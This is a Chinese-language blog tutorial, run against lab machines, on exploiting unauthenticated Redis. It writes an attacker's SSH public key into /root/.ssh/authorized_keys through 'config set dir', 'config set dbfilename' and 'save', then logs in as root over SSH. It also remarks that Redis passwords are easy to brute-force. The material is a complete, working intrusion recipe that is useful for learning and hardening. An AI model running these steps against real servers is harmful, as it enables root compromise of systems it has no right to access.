redis未授权访问漏洞

8 redis未授权访问漏洞

利用redis漏洞,getshell,我们需要利用RDB还是AOF?

肯定是RDB,因为RDB是二进制文件的格式!!!!

前置条件:

  1. redis提供了在线修改配置文件的功能 config set,实现任意文件写入功能。
  2. redis一般新手都会忘记设置密码,也不会修改默认端口。
  3. 就算有密码,难度很低,很容易被暴破!因为没有账号,也没有密码错误次数限制。同时错误后有错误消息返回。所以就满足暴破条件。
  4. redis支持save触发RDB持久化!把二进制文件写入任意目录。

利用redis的持久化rdb文件进行公钥写入,将你自己的公钥写入别人的redis中,在对其redis进行保存为持久化文件,持久化文件的路径需要是/root/.ssh/,且文件的持久化命名需要是authorized_keys

8.1 环境准备

  1. redis开启外网访问
  2. redis的端口已知或者已经爆破出来,6000-7000,6379
  3. redis的密码已知或者已经爆破
  4. redis开启在线修改功能
  5. redis开启save保存功能
  6. Linux有.ssh这个文件夹 本地安装的怕是没有 远程服务器必有

8.2 攻击机生成公钥

命令:

[root@iptables ~]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:8aKP+mROOBAIlDtXP+Eiq6vFztKpP4z92D9sOIQgHBo root@localhost.localdomain
The key's randomart image is:
+---[RSA 2048]----+
|o..              |
|E+   . .         |
|+.+ . o o        |
|++ + . + o       |
|..+.o . S .      |
| ..o.. . .       |
| =+ooo=          |
|o=*oo*+o         |
|+=*o+*=..        |
+----[SHA256]-----+

8.3 拼写公钥写入文件

1. 进入 /root/.ssh
cd /root/.ssh

2. 在公钥前后使用\n换行,然后把内容重定向到一个文件中,等会就可以使用文件操作,括号不能省略,否者就变成屏幕输出了
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > ./keys

查看keys文件:

image-20240515112531208

8.4 攻击机

攻击机通过redis-cli把自己的公钥,写入到了靶机的redis数据库中的字符串keys

靶机的redis-server中有一个字符串keys里面就有了攻击机的公钥

靶机

[root@target .ssh]# /opt/redis/bin/redis-cli -h 192.168.190.133 -x set keys < ./keys 
OK
[root@target .ssh]# /opt/redis/bin/redis-cli -h 192.168.190.133
192.168.190.133:6379> get keys
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7QcripQWmO3Gbz9b6Cf7IOsEHC6oxEXwvRRuOBb3gjXuXlOg+uyY6bjL2PkbAaWrn+fwzN4FcHaPG2kiJ5uQYy3mNVIEAZYEKP3b6iflc0p03GcMNI2YENtXiz2aChsM7ky/XUVc4ashpvI/soDnHCC8gi0sNQIy/Tq3jmZwBgAqbFgBe+7N+MMAioAJDANxH7GBWG7gl4WqaMcETz/AtjFELcWK8OtbYQ6oFnkc3UGshKmBd6qJUgIE6ZhYH9kuQ12Em0+uRI3IeVtFDNr30S2lvnDYN5zR4A/O0yKwU/U4HlMud1rw6UoAUm+BjuCIfiSjsWx1ovW7Ztnfs32T9 root@target\n\n\n\n"
192.168.190.133:6379> 

8.5 修改redis配置

# 1)先使用攻击机登录靶机的redis-server
[root@target .ssh]# /opt/redis/bin/redis-cli -h 192.168.190.133

# 2) 修改靶机的配置
192.168.7.52:6379> config set dir /root/.ssh # dir是rdb文件持久化保存目录
192.168.7.52:6379> config set dbfilename authorized_keys #rbd文件名
192.168.7.52:6379> save #手动触发持久化,生成公钥文件

8.6 ssh使用私钥进行远程连接

#使用-i执行私钥文件路径,就可以实现远程getshell登录
[root@iptables .ssh]# ssh -i /root/.ssh/id_rsa root@192.168.190.133
Last login: Mon Nov 13 18:59:59 2023 from 192.168.7.25
[root@Centos-4 ~]# 

8.7 数据流转

image-20240517174359457

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值